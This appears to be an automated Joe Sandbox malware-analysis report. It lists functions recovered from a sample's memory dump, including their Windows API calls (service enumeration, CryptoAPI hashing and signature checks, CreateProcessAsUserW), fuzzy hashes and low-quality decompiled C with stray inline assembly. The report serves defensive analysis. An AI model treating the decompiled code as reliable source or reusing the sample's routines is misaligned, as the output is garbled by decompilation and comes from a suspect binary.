API ID: CryptHeap$DestroyEncryptFreeHashProcess
String ID:
API String ID: 2265275737-0
Opcode ID: b5f2c77465f9a83e8498f1dcf85a8c16ee7745d3e514abaee31c388aaffcd039
Instruction ID: 0f3ec6cd850fb787403a7a7ee068c82ba22eba90195015cd3051055057d267cf
Opcode Fuzzy Hash: b5f2c77465f9a83e8498f1dcf85a8c16ee7745d3e514abaee31c388aaffcd039
Instruction Fuzzy Hash: 45F08C31601215ABDB219F88EC48BD9BF64FF15790F208159F80D8B2A2C7328965DB80

Uniqueness

Uniqueness Score: 0.03%

Function 0050DA24, Relevance: 3.0, APIs: 2, Instructions: 25serviceCOMMON

APIs

EnumServicesStatusExW.ADVAPI32(?,?,00000030,00000003), ref: 0050DA37
GetLastError.KERNEL32(?,?,00000030,00000003), ref: 0050DA45

Part of subcall function 005017C0: GetProcessHeap.KERNEL32(00000008,?,00506B19), ref: 005017C3
Part of subcall function 005017C0: RtlAllocateHeap.NTDLL(00000000,?,00506B19), ref: 005017CA

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Heap$AllocateEnumErrorLastProcessServicesStatus
String ID:
API String ID: 1360102720-0
Opcode ID: 1e2b672f99f5658500d83b3b0d9b8a5ea7926210f4ec7313b10e2be2e825235a
Instruction ID: 9256f5332daa39b08043d4eeeb8ca7757143631fe0634333210c6d3b01fafc18
Opcode Fuzzy Hash: 1e2b672f99f5658500d83b3b0d9b8a5ea7926210f4ec7313b10e2be2e825235a
Instruction Fuzzy Hash: 7AE09A78A00616ABE7229F969C59A7FBEB8FFE1B40F104428F400E21D0D6608E008BA1

Uniqueness

Uniqueness Score: 0.03%

Function 00502595, Relevance: 3.0, APIs: 2, Instructions: 24encryptionCOMMON

APIs

CryptVerifySignatureW.ADVAPI32(?,?), ref: 0050259E
CryptDestroyHash.ADVAPI32(?), ref: 005025B1

Part of subcall function 00501830: GetProcessHeap.KERNEL32(00000000,?,0050C7E7), ref: 00501833
Part of subcall function 00501830: HeapFree.KERNEL32(00000000), ref: 0050183A

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CryptHeap$DestroyFreeHashProcessSignatureVerify
String ID:
API String ID: 2013711131-0
Opcode ID: 29bbdecd4248cf47b397c7a0a6ea826dd94e2db9cd9a9a0b733da3cca1430631
Instruction ID: b82fb3c36dd3a60e9c1c13db7d1e4bb91fb6166ed36994f4cf2f03bbdf65454b
Opcode Fuzzy Hash: 29bbdecd4248cf47b397c7a0a6ea826dd94e2db9cd9a9a0b733da3cca1430631
Instruction Fuzzy Hash: EFE04F31B00114AFDB211F58EC5839EBFA5FF54351F1041A9E8099A2A0DB724C619B81

Uniqueness

Uniqueness Score: 0.03%

Function 00502406, Relevance: 1.5, APIs: 1, Instructions: 45
encryptionCOMMON

C-Code - Quality: 28%

			E00502406(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t34;
				void* _t38;
				signed int _t43;
				intOrPtr _t49;
				intOrPtr _t52;
				intOrPtr* _t56;
				void* _t59;
				void* _t61;

				_t52 = __edx;
				 *((intOrPtr*)(_t61 - 4)) = __ecx;
				 *((intOrPtr*)(_t61 - 0xc)) = __edx;
				_t28 =  *((intOrPtr*)(__edx + 4));
				_t43 = _t28 + 1;
				if((_t43 & 0x0000000f) != 0) {
					_t43 = (_t43 & 0xfffffff0) + 0x10;
				}
				_t56 =  *((intOrPtr*)(_t61 + 8));
				 *((intOrPtr*)(_t61 - 0x10)) = _t28;
				_t59 = 0;
				 *((intOrPtr*)(_t56 + 4)) = _t43 + 0x74;
				_t29 = E005017C0(_t43 + 0x74);
				 *((intOrPtr*)(_t61 - 0x14)) = _t29;
				 *_t56 = _t29;
				if(_t29 != 0) {
					 *((intOrPtr*)(_t61 - 8)) = _t29 + 0x74;
					_t34 =  *0x512794( *((intOrPtr*)( *((intOrPtr*)(_t61 - 4)) + 0xc)), 0, 0, _t61 + 8);
					if(_t34 == 0) {
						L10:
						E00501830( *_t56);
						 *_t56 = 0;
						 *((intOrPtr*)(_t56 + 4)) = 0;
					} else {
						goto 0x520919;
						asm("int3");
						asm("adc ch, al");
						 *0x83fffff3 = _t34 + 0x8b;
						asm("les eax, [ecx*4+0x5053f045]");
						_t38 =  *0x512980( *((intOrPtr*)( *((intOrPtr*)(_t61 - 4)) + 8)),  *((intOrPtr*)(_t61 + 8)), 1, 0,  *((intOrPtr*)(_t61 - 8)),  *((intOrPtr*)(_t52 + 4)));
						if(_t38 != 0) {
							goto 0x52092d;
							asm("int3");
							asm("int3");
							_t49 =  *((intOrPtr*)(_t38 + 4));
							if(L00502270(_t38, _t49,  *((intOrPtr*)(_t38 + 8))) != 0) {
								_push(_t49);
								L005022C0(_t40,  *((intOrPtr*)(_t61 + 8)), _t43 + 0x60);
								_t59 =  !=  ? 1 : 0;
							}
						}
						 *0x5127bc( *((intOrPtr*)(_t61 + 8)));
						if(_t59 == 0) {
							goto L10;
						}
					}
				}
				return _t59;
			}

0x00502406
0x00502408
0x0050240b
0x00502410
0x00502414
0x0050241a
0x0050241f
0x0050241f
0x00502422
0x00502428
0x0050242b
0x0050242d
0x00502430
0x00502435
0x00502438
0x0050243c
0x00502445
0x00502454
0x0050245c
0x005024ce
0x005024d0
0x005024d5
0x005024db
0x0050245e
0x0050245e
0x00502463
0x00502468
0x0050246a
0x0050246f
0x00502485
0x0050248d
0x0050248f
0x00502494
0x00502495
0x00502499
0x005024a6
0x005024a8
0x005024af
0x005024be
0x005024be
0x005024a6
0x005024c4
0x005024cc
0x00000000
0x00000000
0x005024cc
0x0050245c
0x005024ea

APIs

Part of subcall function 005017C0: GetProcessHeap.KERNEL32(00000008,?,00506B19), ref: 005017C3
Part of subcall function 005017C0: RtlAllocateHeap.NTDLL(00000000,?,00506B19), ref: 005017CA

CryptDuplicateHash.ADVAPI32(?,00000000,00000000,?), ref: 00502454

Part of subcall function 00501830: GetProcessHeap.KERNEL32(00000000,?,0050C7E7), ref: 00501833
Part of subcall function 00501830: HeapFree.KERNEL32(00000000), ref: 0050183A

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Heap$Process$AllocateCryptDuplicateFreeHash
String ID:
API String ID: 1040508988-0
Opcode ID: 6ea5d9618f5467a20603d4de09f591ae12566afdf7f52d9ffa5b903d4030a036
Instruction ID: 780115297acce870b50f84bc50efd66be08b5317e6c9dca65ea206a0bc4c1aca
Opcode Fuzzy Hash: 6ea5d9618f5467a20603d4de09f591ae12566afdf7f52d9ffa5b903d4030a036
Instruction Fuzzy Hash: 11010CB6A012169FDB10CF59D844AAABFE8FF14350F24826AE818D7291E730DA14CB90

Uniqueness

Uniqueness Score: 0.03%

Function 00502496, Relevance: 1.5, APIs: 1, Instructions: 29
encryptionCOMMON

C-Code - Quality: 59%

			E00502496(void* __eax, void* __ebx, intOrPtr* __edi, void* __esi) {
				intOrPtr _t15;
				intOrPtr* _t21;
				void* _t25;

				_t23 = __esi;
				_t21 = __edi;
				_t15 =  *((intOrPtr*)(__eax + 4));
				if(L00502270(__eax, _t15,  *((intOrPtr*)(__eax + 8))) != 0) {
					_push(_t15);
					L005022C0(_t8,  *((intOrPtr*)(_t25 + 8)), __ebx + 0x60);
					_t23 =  !=  ? 1 : __esi;
				}
				 *0x5127bc( *((intOrPtr*)(_t25 + 8)));
				if(_t23 == 0) {
					E00501830( *_t21);
					 *_t21 = 0;
					 *((intOrPtr*)(_t21 + 4)) = 0;
				}
				return _t23;
			}

0x00502496
0x00502496
0x00502499
0x005024a6
0x005024a8
0x005024af
0x005024be
0x005024be
0x005024c4
0x005024cc
0x005024d0
0x005024d5
0x005024db
0x005024db
0x005024ea

APIs

CryptDestroyHash.ADVAPI32(?,?,?), ref: 005024C4

Part of subcall function 00501830: GetProcessHeap.KERNEL32(00000000,?,0050C7E7), ref: 00501833
Part of subcall function 00501830: HeapFree.KERNEL32(00000000), ref: 0050183A

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: Heap$CryptDestroyFreeHashProcess
String ID:
API String ID: 21667265-0
Opcode ID: 4fa4e88520079fc4ce236ed19c674659c10026be343215a019166233bef958a3
Instruction ID: 6c5cbc48b0fdf7322f524c0472ed9b3b77a82a6d79cfe85a953972976cf94645
Opcode Fuzzy Hash: 4fa4e88520079fc4ce236ed19c674659c10026be343215a019166233bef958a3
Instruction Fuzzy Hash: EBF0A0717002028BEB10AF14E859B5ABB91FF80344F108138EC0D8B2A2EB71DD14C7C0

Uniqueness

Uniqueness Score: 0.02%

Function 0050210D, Relevance: 1.5, APIs: 1, Instructions: 13processCOMMON

APIs

CreateProcessAsUserW.ADVAPI32 ref: 0050210D

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: f43ec6b014814045e1238e8cc34faf2b955c0b7645f0514c7a57c6e00c86ece2
Instruction ID: 83814ce23ec0be4f9c9648b155ea13253dc50f8ad1aa9b85ec7f8dd8385ace9c
Opcode Fuzzy Hash: f43ec6b014814045e1238e8cc34faf2b955c0b7645f0514c7a57c6e00c86ece2
Instruction Fuzzy Hash: 16C0C936700008978B006BA5B84849CB7A2F7C82627104165EA05C3210CE224D169B80

Uniqueness

Uniqueness Score: 0.04%

Function 0050231D, Relevance: 1.5, APIs: 1, Instructions: 12encryptionCOMMON

APIs

CryptReleaseContext.ADVAPI32(00000000), ref: 00502357

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: ce47972dafa7afe1f72b1d3403596e4bc45a06d9fcbd46fde8944416ed52abbc
Instruction ID: 57fd0c0e125704df60e094c012c51666051fc296736a2c290d0c8ca8d5ecb7a7
Opcode Fuzzy Hash: ce47972dafa7afe1f72b1d3403596e4bc45a06d9fcbd46fde8944416ed52abbc
Instruction Fuzzy Hash: CBC08C31311114DBD6101F28BC0DBED3B64F725756F0482A6BE06C11F0CE118C24BAC1

Uniqueness

Uniqueness Score: 0.03%

Function 005022C9, Relevance: 1.5, APIs: 1, Instructions: 9encryptionCOMMON

APIs

CryptGetHashParam.ADVAPI32(?,00000002), ref: 005022D5

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: CryptHashParam
String ID:
API String ID: 1839025277-0
Opcode ID: 5b4ab8897eed49f407b47d25a7b9db75ec4e1a3b79685ec09305283f003d8956
Instruction ID: 4525e637a98a42a9a8738639129865519ce1a86db90905dbe80c6df5493e9e21
Opcode Fuzzy Hash: 5b4ab8897eed49f407b47d25a7b9db75ec4e1a3b79685ec09305283f003d8956
Instruction Fuzzy Hash: F7B092B0592208BAE6308B50AC0AFBA762CEB84709F008288BD0961991C6B64D2469A0

Uniqueness

Uniqueness Score: 0.02%

Function 005022F7, Relevance: 1.5, APIs: 1, Instructions: 9encryptionCOMMON

APIs

CryptAcquireContextW.ADVAPI32 ref: 005022F7

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: AcquireContextCrypt
String ID:
API String ID: 3951991833-0
Opcode ID: 6a3752a6694447fa1b3c63790fc4c2ff98a7c99d7e6f286f9f42d483e9b5582c
Instruction ID: 505b891cd25ba7c7c12859982aac3b029613773ad4e330d95f25402e6d8dc2e3
Opcode Fuzzy Hash: 6a3752a6694447fa1b3c63790fc4c2ff98a7c99d7e6f286f9f42d483e9b5582c
Instruction Fuzzy Hash: 6DB012217060384385101B7E3C081F57F49F702B53F08859FAC0DC16C2D941C82457C2

Uniqueness

Uniqueness Score: 0.03%

Function 005056EF, Relevance: .5, Instructions: 487
COMMONCrypto

C-Code - Quality: 68%

			E005056EF(signed int __ebx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t595;
				signed int _t596;
				signed int _t598;
				void* _t599;
				signed int _t609;
				signed int* _t619;
				signed int _t622;
				signed int _t639;
				signed int _t641;
				signed int _t646;
				signed char _t652;
				signed int _t655;
				signed int _t657;
				signed int _t660;
				signed int _t666;
				signed int _t669;
				signed int _t671;
				void* _t673;
				signed int _t676;
				signed int _t680;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				unsigned int _t693;
				signed int _t694;
				signed int _t696;
				signed int _t697;
				signed int _t701;
				signed int _t711;
				signed int _t716;
				signed int _t718;
				signed int _t721;
				signed int _t723;
				signed int _t724;
				intOrPtr _t736;
				intOrPtr _t737;
				intOrPtr _t738;
				signed int _t741;
				signed int _t745;
				void* _t751;
				signed int _t756;
				signed int _t758;
				signed int _t762;
				signed int _t766;
				signed int _t769;
				signed int _t773;
				signed int _t778;
				signed int _t782;
				signed int _t783;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t795;
				signed int _t796;
				signed int _t798;
				signed int _t799;
				signed int _t806;
				signed int _t809;
				intOrPtr* _t811;
				void* _t812;
				signed int _t823;
				signed int _t825;
				intOrPtr _t827;
				signed int _t831;
				intOrPtr* _t833;
				signed int _t834;
				signed int _t842;
				signed int _t845;
				signed int _t848;
				signed int _t850;
				signed int _t851;
				signed int _t860;
				signed int _t863;
				void* _t864;
				void* _t865;
				void* _t866;
				void* _t867;
				void* _t868;
				void* _t869;
				void* _t870;
				void* _t871;
				signed char _t872;
				signed char _t875;
				intOrPtr _t877;
				signed int _t880;
				signed int _t881;
				signed char _t883;
				signed int _t884;
				signed int _t885;
				signed char _t890;
				signed int _t892;
				void* _t893;
				signed int _t894;
				signed int _t897;
				signed int _t898;
				signed char _t899;
				intOrPtr _t901;
				intOrPtr _t903;
				void* _t906;
				signed char _t907;
				signed char _t908;
				signed int _t909;
				signed int _t913;
				signed char _t918;
				signed int _t919;
				signed int _t920;
				signed int _t923;
				signed int _t928;
				signed int _t932;
				signed char _t936;
				signed int _t937;
				signed char _t940;
				signed int _t941;
				signed int _t949;
				signed int _t964;
				signed int _t968;
				signed int _t970;
				signed int _t974;
				signed int* _t975;
				signed char* _t980;
				signed int _t981;
				signed int _t986;
				unsigned int _t987;
				signed int _t988;
				signed int _t989;
				signed int _t992;
				signed int _t993;
				signed int _t995;
				signed int _t997;
				signed int _t998;
				signed int _t999;
				signed int _t1002;
				signed int _t1006;
				signed int _t1012;
				signed int _t1013;
				int _t1014;
				int _t1016;
				signed int _t1017;
				unsigned int _t1020;
				void* _t1024;
				intOrPtr _t1025;
				signed int _t1026;
				signed int _t1029;
				signed int _t1031;
				signed int _t1032;
				signed int _t1034;
				int _t1039;
				signed int _t1040;
				signed int _t1042;
				unsigned int _t1043;
				signed int _t1044;
				void* _t1045;
				void* _t1047;
				signed int _t1049;
				unsigned int _t1052;
				signed int _t1053;
				unsigned int _t1055;
				signed int _t1056;
				signed int _t1064;
				signed char _t1065;
				void* _t1066;
				void* _t1068;

				L0:
				while(1) {
					L0:
					_t1050 = __esi;
					_t1029 = __edi;
					_t846 = __ebx;
					if(__ebx >=  *(_t1066 - 0x20)) {
						break;
					}
					L1:
					_t872 = __esi;
					_t846 = __ebx + 1;
					_t987 = __edx | ( *__ebx & 0x000000ff) << __esi;
					 *(_t1066 - 0x18) = _t846;
					_t1064 = __esi + 8;
					 *(_t1066 - 4) = _t987;
					if(_t1064 < 0xf) {
						L227:
						_t646 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
						 *(_t1066 - 0x24) = _t646;
						__eflags = _t646;
						if(_t646 < 0) {
							L231:
							__eflags = _t1064 - 0xa;
							if(_t1064 <= 0xa) {
								continue;
							} else {
								L232:
								L233:
								 *(_t1066 - 0x1c) = _t872;
								while(1) {
									L234:
									_t872 =  *((short*)(_t1029 + 0x1700 + ((_t987 >> _t872 & 0x00000001) +  !( *(_t1066 - 0x24))) * 2));
									_t652 =  *(_t1066 - 0x1c) + 1;
									 *(_t1066 - 0x24) = _t872;
									 *(_t1066 - 0x1c) = _t652;
									__eflags = _t872;
									if(_t872 >= 0) {
										goto L2;
									}
									L235:
									__eflags = _t1064 - _t652 + 1;
									if(_t1064 < _t652 + 1) {
										goto L0;
									} else {
										L236:
										_t872 =  *(_t1066 - 0x1c);
										continue;
									}
									goto L295;
								}
								goto L2;
							}
						} else {
							L228:
							_t845 = _t646 >> 9;
							__eflags = _t845;
							if(_t845 == 0) {
								continue;
							} else {
								L229:
								__eflags = _t1064 - _t845;
								if(_t1064 >= _t845) {
									goto L2;
								} else {
									L230:
									continue;
								}
							}
						}
					} else {
						while(1) {
							L2:
							_t655 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
							 *(_t1066 - 0x1c) = _t655;
							if(_t655 < 0) {
								goto L4;
							}
							L3:
							_t872 = _t655 >> 9;
							_t660 = _t655 & 0x000001ff;
							L8:
							_t988 = _t987 >> _t872;
							_t1050 = _t1064 - _t872;
							_t875 =  *(0x50f090 + _t660 * 4);
							_t595 =  *(0x50f110 + _t660 * 4);
							 *(_t1066 - 4) = _t988;
							 *(_t1066 - 0x38) = _t875;
							 *(_t1066 - 0x28) = _t595;
							if(_t875 == 0) {
								L14:
								_t877 =  *(_t1066 - 0x10) -  *((intOrPtr*)(_t1066 + 0xc));
								 *((intOrPtr*)(_t1066 - 0x48)) = _t877;
								if(_t595 <= _t877 || ( *(_t1066 + 0x18) & 0x00000004) == 0) {
									L16:
									_t1029 =  *(_t1066 - 0x14);
									_t880 = (_t877 - _t595 &  *(_t1066 - 0x34)) +  *((intOrPtr*)(_t1066 + 0xc));
									 *(_t1066 - 0xc) = _t880;
									_t662 =  >  ?  *(_t1066 - 0x10) : _t880;
									_t881 =  *(_t1066 - 8);
									_t663 = ( >  ?  *(_t1066 - 0x10) : _t880) + _t881;
									_t1081 = ( >  ?  *(_t1066 - 0x10) : _t880) + _t881 -  *((intOrPtr*)(_t1066 - 0x40));
									if(( >  ?  *(_t1066 - 0x10) : _t880) + _t881 <=  *((intOrPtr*)(_t1066 - 0x40))) {
										L20:
										__eflags = _t881 - 9;
										if(_t881 < 9) {
											L29:
											goto 0x521420;
											asm("int3");
											do {
												L31:
												_t881 = _t881 - 3;
												 *_t1029 =  *_t988 & 0x000000ff;
												 *((char*)(_t1029 + 1)) =  *(_t988 + 1) & 0x000000ff;
												_t666 =  *(_t988 + 2) & 0x000000ff;
												_t988 = _t988 + 3;
												 *(_t1029 + 2) = _t666;
												_t1029 = _t1029 + 3;
												__eflags = _t881 - 2;
											} while (_t881 > 2);
											 *(_t1066 - 0x10) = _t1029;
											_t1029 =  *(_t1066 - 0x14);
											 *(_t1066 - 0xc) = _t988;
											_t988 =  *(_t1066 - 4);
											 *(_t1066 - 8) = _t881;
											__eflags = _t881;
											if(_t881 > 0) {
												L33:
												goto 0x521434;
												asm("int3");
												_t827 =  *_t666;
												 *_t1029 = _t827;
												_t1029 =  *(_t1066 - 0x14);
												__eflags = _t881 - 1;
												if(_t881 > 1) {
													goto L35;
												}
												goto L37;
											}
										} else {
											L21:
											__eflags = _t881 -  *(_t1066 - 0x28);
											if(_t881 >  *(_t1066 - 0x28)) {
												goto L29;
											} else {
												L22:
												_t1049 =  *(_t1066 - 0xc);
												_t964 =  *(_t1066 - 0x10);
												_t831 = (_t881 & 0xfffffff8) + _t1049;
												 *(_t1066 - 0x24) = _t831;
												_t1026 = _t831;
												do {
													L23:
													 *_t964 =  *_t1049;
													_t833 =  *((intOrPtr*)(_t1049 + 4));
													_t1049 = _t1049 + 8;
													 *((intOrPtr*)(_t964 + 4)) = _t833;
													_t964 = _t964 + 8;
													__eflags = _t1049 - _t1026;
												} while (_t1049 < _t1026);
												_t988 =  *(_t1066 - 4);
												 *(_t1066 - 0x10) = _t964;
												_t881 =  *(_t1066 - 8) & 0x00000007;
												 *(_t1066 - 0xc) = _t1049;
												_t1029 =  *(_t1066 - 0x14);
												 *(_t1066 - 8) = _t881;
												__eflags = _t881 - 3;
												if(_t881 >= 3) {
													goto L29;
												} else {
													L25:
													__eflags = _t881;
													if(_t881 != 0) {
														L26:
														goto 0x52140c;
														asm("int3");
														_t827 =  *_t833;
														 *_t1029 = _t827;
														_t1029 =  *(_t1066 - 0x14);
														__eflags = _t881 - 1;
														if(_t881 > 1) {
															L28:
															L35:
															goto 0x521448;
															asm("int3");
															 *(_t988 + 1) =  *((intOrPtr*)(_t827 + 1));
															_t988 =  *(_t1066 - 4);
														}
														L37:
														_t83 = _t1066 - 0x10;
														 *_t83 =  *(_t1066 - 0x10) + _t881;
														__eflags =  *_t83;
													}
												}
											}
										}
										goto L38;
									} else {
										while(1) {
											L17:
											_t834 = _t881;
											_t881 = _t881 - 1;
											 *(_t1066 - 8) = _t881;
											if(_t834 == 0) {
												goto L38;
											}
											L18:
											if( *(_t1066 - 0x10) >=  *((intOrPtr*)(_t1066 - 0x40))) {
												L238:
												 *(_t1066 - 0xc) = 2;
												 *_t1029 = 0x35;
												goto L292;
											} else {
												L19:
												 *(_t1066 - 0x10) =  *(_t1066 - 0x10) + 1;
												 *((intOrPtr*)(_t1066 - 0x48)) =  *((intOrPtr*)(_t1066 - 0x48)) + 1;
												 *( *(_t1066 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1066 - 0x48)) -  *(_t1066 - 0x28) &  *(_t1066 - 0x34)) +  *((intOrPtr*)(_t1066 + 0xc))));
												_t988 =  *(_t1066 - 4);
												continue;
											}
											goto L295;
										}
										while(1) {
											L38:
											_t883 =  *(_t1066 - 0x20) - _t846;
											__eflags = _t883 - 4;
											if(_t883 < 4) {
												goto L57;
											}
											L39:
											_t1029 =  *(_t1066 - 0x14);
											__eflags =  *((intOrPtr*)(_t1066 - 0x40)) -  *(_t1066 - 0x10) - 2;
											if( *((intOrPtr*)(_t1066 - 0x40)) -  *(_t1066 - 0x10) < 2) {
												goto L57;
											} else {
												L40:
												__eflags = _t1050 - 0xf;
												if(_t1050 < 0xf) {
													_t1002 =  *(_t846 + 1) & 0x000000ff;
													_t883 = _t1050;
													_t724 =  *_t846 & 0x000000ff;
													_t846 = _t846 + 2;
													 *(_t1066 - 0x18) = _t846;
													 *(_t1066 - 4) =  *(_t1066 - 4) | (_t1002 << 0x00000008 | _t724) << _t883;
													_t1050 = _t1050 + 0x10;
													__eflags = _t1050;
													_t988 =  *(_t1066 - 4);
												}
												_t595 =  *((short*)(_t1029 + 0x160 + (_t988 & 0x000003ff) * 2));
												 *(_t1066 - 8) = _t595;
												__eflags = _t595;
												if(_t595 < 0) {
													L44:
													goto 0x52145c;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L45:
														_t711 = _t988 >> _t883;
														_t883 = _t883 + 1;
														_t595 = (_t711 & 0x00000001) +  !_t846;
														_t846 =  *((short*)(_t1029 + 0x960 + _t595 * 2));
														__eflags = _t846;
													} while (_t846 < 0);
													 *(_t1066 - 8) = _t846;
													_t846 =  *(_t1066 - 0x18);
												} else {
													L43:
													_t883 = _t595 >> 9;
												}
												L47:
												_t987 = _t988 >> _t883;
												_t1064 = _t1050 - _t883;
												_t884 =  *(_t1066 - 8);
												 *(_t1066 - 4) = _t987;
												__eflags = _t884 & 0x00000100;
												if((_t884 & 0x00000100) != 0) {
													L83:
													_t885 = _t884 & 0x000001ff;
													 *(_t1066 - 8) = _t885;
													__eflags = _t885 - 0x100;
													if(_t885 != 0x100) {
														L219:
														_t673 = _t885 * 4 - 0x404;
														_t872 =  *(_t673 + 0x50f010);
														_t595 =  *(_t673 + 0x50fa48);
														 *(_t1066 - 0x38) = _t872;
														 *(_t1066 - 8) = _t595;
														__eflags = _t872;
														if(_t872 == 0) {
															L225:
															__eflags = _t1064 - 0xf;
															if(_t1064 >= 0xf) {
																L2:
																_t655 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
																 *(_t1066 - 0x1c) = _t655;
																if(_t655 < 0) {
																	goto L4;
																}
																goto L8;
															} else {
																L226:
																__eflags =  *(_t1066 - 0x20) - _t846 - 2;
																if( *(_t1066 - 0x20) - _t846 >= 2) {
																	L237:
																	_t989 =  *(_t846 + 1) & 0x000000ff;
																	_t676 =  *_t846 & 0x000000ff;
																	_t846 = _t846 + 2;
																	_t1029 =  *(_t1066 - 0x14);
																	_t872 = _t1064;
																	 *(_t1066 - 0x18) = _t846;
																	 *(_t1066 - 4) =  *(_t1066 - 4) | _t989 << _t1064 + 0x00000008 | _t676 << _t872;
																	_t1064 = _t1064 + 0x10;
																	_t987 =  *(_t1066 - 4);
																	do {
																		goto L2;
																	} while (_t1064 >= 0xf);
																	goto L226;
																} else {
																	goto L227;
																}
															}
														} else {
															L220:
															__eflags = _t1064 - _t872;
															if(_t1064 >= _t872) {
																L223:
																L224:
																_t1064 = _t1064 - _t872;
																_t680 = (_t595 << _t872) - 0x00000001 & _t987;
																_t987 = _t987 >> _t872;
																_t456 = _t1066 - 8;
																 *_t456 =  *(_t1066 - 8) + _t680;
																__eflags =  *_t456;
																 *(_t1066 - 4) = _t987;
																goto L225;
															} else {
																while(1) {
																	L221:
																	__eflags = _t846 -  *(_t1066 - 0x20);
																	if(_t846 >=  *(_t1066 - 0x20)) {
																		break;
																	}
																	L222:
																	_t595 = ( *_t846 & 0x000000ff) << _t1064;
																	_t846 = _t846 + 1;
																	_t872 =  *(_t1066 - 0x38);
																	_t987 = _t987 | _t595;
																	_t1050 = _t1064 + 8;
																	 *(_t1066 - 0x18) = _t846;
																	 *(_t1066 - 4) = _t987;
																	__eflags = _t1050 - _t872;
																	if(_t1050 < _t872) {
																		continue;
																	} else {
																		goto L223;
																	}
																	goto L295;
																}
																L262:
																 *_t1029 = 0x19;
																goto L285;
															}
														}
													} else {
														while(1) {
															L84:
															__eflags =  *(_t1029 + 0x14) & 0x00000001;
															if(( *(_t1029 + 0x14) & 0x00000001) != 0) {
																break;
															}
															L85:
															__eflags = _t1064 - 3;
															if(_t1064 >= 3) {
																L88:
																_t1050 = _t1064 - 3;
																_t693 = _t987 & 0x00000007;
																_t997 = _t987 >> 3;
																 *(_t1029 + 0x14) = _t693;
																_t694 = _t693 >> 1;
																__eflags = _t694;
																 *(_t1066 - 4) = _t997;
																 *(_t1066 - 0x1c) = _t1050;
																 *(_t1029 + 0x18) = _t694;
																if(_t694 != 0) {
																	L123:
																	__eflags = _t694 - 3;
																	if(_t694 == 3) {
																		L266:
																		 *(_t1066 - 0xc) = 0xffffffff;
																		 *_t1029 = 0xa;
																		goto L292;
																	} else {
																		L124:
																		__eflags = _t694 - 1;
																		if(_t694 != 1) {
																			L127:
																			_t897 = 0;
																			__eflags = 0;
																			while(1) {
																				L128:
																				 *(_t1066 - 8) = _t897;
																				__eflags = _t897 - 3;
																				if(_t897 >= 3) {
																					break;
																				}
																				L129:
																				_t595 =  *((char*)(_t897 + 0x50f004));
																				 *(_t1066 - 0x1c) = _t595;
																				__eflags = _t1050 - _t595;
																				if(_t1050 >= _t595) {
																					L132:
																					_t1024 = _t1029 + _t897 * 4;
																					_t1043 =  *(_t1066 - 4);
																					 *(_t1024 + 0x2c) = (0x00000001 <<  *(_t1066 - 0x1c)) - 0x00000001 & _t1043;
																					_t806 =  *(_t1066 - 8);
